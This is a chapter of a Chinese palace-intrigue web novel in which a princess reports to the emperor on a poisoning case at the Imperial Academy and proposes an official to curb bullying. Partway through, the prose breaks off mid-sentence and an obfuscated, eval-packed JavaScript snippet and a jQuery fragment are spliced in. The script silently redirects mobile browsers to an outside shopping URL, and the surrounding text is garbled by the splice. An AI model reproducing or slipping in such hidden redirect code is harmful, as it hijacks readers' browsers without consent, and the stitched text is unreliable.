显然,秦怀谨的这个答案是无法让永平帝满意的。
在永平帝发怒之前,秦怀谨再次补充道,“五名学生皆为寒门,背后无靠山,因而总被官家学子们欺负,最终走上绝路。此事件内,也存在多方搅局。国子监更换供应商,至此导致菜贩子在菜叶上涂抹淤泥,以及农家百姓田地被占。儿臣认为,此事应当细致区分,逐一按律惩处。”
她没有提秦少语的名字,因为秦少语的身份是秦昊苍的亲弟弟,她无法确认永平帝会不会为了保下太子而爱屋及乌的将一样烂的秦少语也保下来。
若是看到永平帝想保的征兆,秦怀谨要做的就是将整个事情的所有人都往受害者方向说,让看似是投毒害命的答案,变成邻里同窗间的“玩闹”。
可要是永平帝只打算保住秦昊苍一个嫡出的太子,那就别怪她把人往失职上引导了。
秦少语的行为同样可大可小。
他的年纪不比秦昊苍大,也没有秦昊苍那般作为太子的身份,做事不周全是小毛病。
加上他的资源其实和秦昊苍是同等的,永平帝如果需要一个皇子辅佐秦昊苍,优先要选择的也必定是秦铭珏这位背后有皇贵妃撑着的二皇子。
可秦铭珏这次在灾区做的事情,不管永平帝知不知道全部,他都已经在改观了。
能让秦怀谨有机会出头,就说明了一切。
永平帝要换人。
秦怀谨的后话需要等永平帝先一步的提示,但她左等右等也没见永平帝开口定夺。
此刻也不是着急的时间,她压着心头烦躁炙热的感觉,继续保持着现在的姿势等待着永平帝的发落。
她的判断或许没有错误,可她的动作导致她无法看到永平帝即时的动作神情反馈,以至于无法掌握先机。
当她意识到这一点的时候,已经为时已晚,不适合再次调整状态了。
坐在龙椅上方的永平帝,手攥着卷宗,眼睛始终盯着下方。
看不出他看的是秦怀谨,还是因另一案而来的盛采南。
他是对秦铭珏去灾区的表现很失望,但他失望的不是他牵连到了百姓,甚至他不怪秦铭珏把秦昊苍也牵扯其中。
九子夺嫡,秦铭珏若是连这点野心都没有,他也无法看到秦铭珏的能力,也就不会在一开始就选择他来当自己未来太子的左膀右臂了。
秦昊苍作为他第一个孩子,又是发妻皇后所生。
他背后的宗族势力重大,是辅佐他登上皇位的重要人员,他没办法说换太子就换。
不仅对不起他的发妻,也同样对不起一代代君王立下的规矩。
向来就是嫡出的孩子继承爵位,王位……
他的存在已经是诟病了,他下一任储君又怎可是庶出?
但他不想自己的眼光也被世人诟病,他要认真挑个有能力的人来辅佐太子。
秦少语作为嫡出的孩子,他能看出来是有野心的,但不知怎么始终都没有爆发出来。
这次他做的和秦怀谨一对比,确实差劲太多了。
若是让他辅佐自己的哥哥,只怕整个国家又该不太平了。
不妨……
永平帝的目光在秦怀谨身上停了许久,终于开口。
“怀王,你可比宁王多调查了半日。朕问你,那五个学生,你打算怎么处置?”
秦怀谨抬起头,没有急着回答。
她听出来了,他在考她,或许从一开始就是在对她的能力进行考量。
“回父皇,五名学生触犯律法,自当交由大理寺按律处置。但他们年幼,事出有因,儿臣恳请父皇从轻发落。国子监祭酒与管事知情不报、纵容霸凌,也应一并查办。至于被更换的菜贩、被强占田地的农户,虽与中毒案无直接关联,却是此案滋生的土壤,恳请父皇责令有司妥善处置,以杜后患。”
她把每个人该担什么责、该受什么罚分得清清楚楚,既没有包庇投毒的学生,也没有放过纵容霸凌的祭酒和管事。
但到这一步,想让永平帝放弃其他皇子,高看秦怀谨一眼,还是不够的。
秦怀谨默默抬眼,让自己的余光可以注意到永平帝表情的变化。
随后她才继续说道,“父皇,儿臣在查案时发现,国子监甲班本就是官家子弟与寒门学子同窗共读。可同在一班,霸凌依旧发生。寒门学子向先生求助,先生置之不理。同窗共读并未消解隔阂,反而让官家子弟更方便地欺负同班的人。儿臣以为,问题不在分班,在于无人监管。寒门学生被欺负了,不知道该找谁做主。儿臣恳请父皇在国子监设立监学官,由朝廷直接委派,不归祭酒管辖,专门受理学生之间的纠纷。霸凌一经查实,涉事学生逐出国子监;先生若知情不报或偏袒纵容,连坐受罚。有地方告状,有人替他们做主,他们就不必往汤里下毒来以命换命了。”
永平帝听完,没有说好,也没有说不好,只是看了盛采南一眼。
礼部尚书还沉浸在卫倾川的案子里没完全回过神,被这一眼看得一个激灵,连忙躬身道,“陛下,卫侍郎的案子……”
“大理寺已经在查了。”永平帝打断他,语气比方才缓和了几分,大概是看在盛采南刚死了得力下属的份上,“朕说了给你交代,就不会让卫倾川白死。怀王的提议你觉得如何?”
盛采南被问得一愣,下意识看了秦怀谨一眼,随即躬身道,“陛下,国子监归礼部管辖,监内章程若有疏漏,礼部责无旁贷。怀王殿下此议,老臣以为切中要害。设监学官一职,不归祭酒管辖,由朝廷直接委派,既可约束官家子弟,也可给寒门学子一条申诉之路。老臣附议。”
永平帝点了点头,转向秦怀谨,“既然礼部也觉得可行,这件差事便交给你去办。”
秦怀谨低头应是,面上不动声色,心里却冷笑了一声。
永平帝又问盛采南,不是因为尊重礼部,而是因为他自己拿不定主意,需要有人先表态。
这样的情况已经不止一次了,不管说什么,永平帝似乎都喜欢先问问其他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17577085|202062||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
人的想法,而不是亲自直接拍板。
堂堂一国之君,连设个监学官都要看臣子的眼色,难怪造成如今的局面。
不过也幸亏他拿不定主意,他要是拿得定,哪还有她出头的机会。
永平帝看了她片刻,没有让她平身,也没有让她退下。
御书房里安静得能听见窗外宫人清扫甬道的沙沙声,盛采南此次的目的达成,已经默默退到门边,走也不是,留也不是,额头上那层刚消下去的薄汗又渗了出来。
“盛大人先回去吧。”永平帝终于开口,语气平淡,目光却没有从秦怀谨身上移开。
盛采南如蒙大赦,躬身退了出去,顺手把门带上了。
御书房里只剩下两个人,夕阳从窗棂的缝隙里漏进来,在秦怀谨脚边的金砖上投下一道细长的光柱。
她依旧保持着跪姿,膝盖已经疼得有些发麻,但脊背挺得笔直,捧着名册的手也没有放下。
“怀王。”永平帝的声音从头顶传下来,带着一种她不太熟悉的语调。
是她记忆里也未曾出现的,让秦怀谨以为是寻常父子之间才有的温情。
“儿臣在。”
“你这次查的案子,牵扯了不少人。国子监的祭酒、管事、先生、学生,西市的菜贩,城外的农户,还有大理寺的仵作。这些人里,有该罚的,有该放的,有该补的。你方才说,要逐一按律惩处。”他顿了顿,把那条陈从御案上拿起来,展开,从头到尾又看了一遍,“但你没有提宁王。为什么?”
这个问题来得突然,但秦怀谨已经做好了准备。
她知道永平帝迟早会问,只是没想到他会等盛采南走了才问。
避开外臣,单独问她。
这不是要追究,是想听真话。
“宁王是三哥,”她垂下眼,语气比方才汇报案情时轻了几分,像是在说一件跟朝堂无关的事,“也是父皇的儿子。儿臣不想让父皇为难。”
永平帝没有接话,只是看着她,似乎在等她说下去。
秦怀谨深吸一口气,抬起头,对上了他的目光。
他的目光没有变化,还是和方才秦怀谨开口前那般柔和。
加上夕阳的昏黄,让秦怀谨觉着不现实。
“父皇,儿臣查案时看到了很多不该看到的事。国子监的先生不敢管官家子弟,因为他们觉着自己的俸禄是那些人家里捐的。管事的换了供货商,因为新供货商是某个先生的亲戚。祭酒明知霸凌却不上报,因为甲班的学生里有一半是朝中官员的孩子,得罪不起。”
许是看到了帝王不同于往日的神情,让秦怀谨的胆子也大了不少,什么都敢往外蹦。
“三哥在国子监问了三天,问到的都是场面话,因为没有人敢对他说实话。他们怕他,也怕他背后的人。儿臣在国子监门口站了半盏茶的工夫,听到的实话比三哥三天问到的还多。不是因为儿臣比他聪明,是因为儿臣没有他那样的身份。没有人怕儿臣,所以他们愿意跟儿臣说真话。”